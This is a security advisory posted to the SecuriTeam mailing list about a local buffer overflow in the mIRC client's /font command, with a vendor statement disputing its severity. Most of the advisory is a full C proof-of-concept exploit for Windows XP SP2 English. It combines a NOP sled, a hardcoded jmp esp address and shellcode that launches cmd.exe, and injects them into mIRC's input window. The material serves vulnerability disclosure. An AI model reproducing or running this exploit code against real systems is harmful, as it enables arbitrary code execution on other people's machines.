The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
mIRC Font Buffer Overflow (Exploit)
------------------------------------------------------------------------
SUMMARY
" <http://mirc.com/> mIRC is a friendly IRC client that is well equipped
with options and tools." Lack of proper length validation in mIRC that
leads to a local buffer overflow allows attackers to execute arbitrary
code.
DETAILS
A local buffer overflow with the /font command in mIRC was found.
By using the command:
/font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa) $readini(c:\a\a.ini,aaaaaaa
,aaaa)
The function will return null and crash. If the first parameter is null
and the second parameter is a long string, it is possible to overwrite the
EIP and execute arbitrary code without privileges elevation.
Vendor Status:
"As far as I can tell, this is neither an exploit nor a vulnerability. The
above report describes a local bug in mIRC. The author of the report
indicates that any malicious software on your computer can modify your
mIRC settings to cause mIRC to crash. But if you have malicious software
on your computer, you've already compromised your security..."
Exploit:
/*
mircfontexploitXPSP2.c
This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)
char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6
(advapi32.dll)
SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);
if (!lHandle) { printf("Can't find mIRC\n"); return 0; }
strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);
SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}
/* Eof */
ADDITIONAL INFORMATION
The information has been provided by <mailto:crowdat@gmail.com> Crowdat
Kurobudetsu.
The original article in Spanish can be found at:
<http://cyruxnet.org/archivo.php?20060121.00>
http://cyruxnet.org/archivo.php?20060121.00
The forum discussion can be found at:
<http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129>
http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
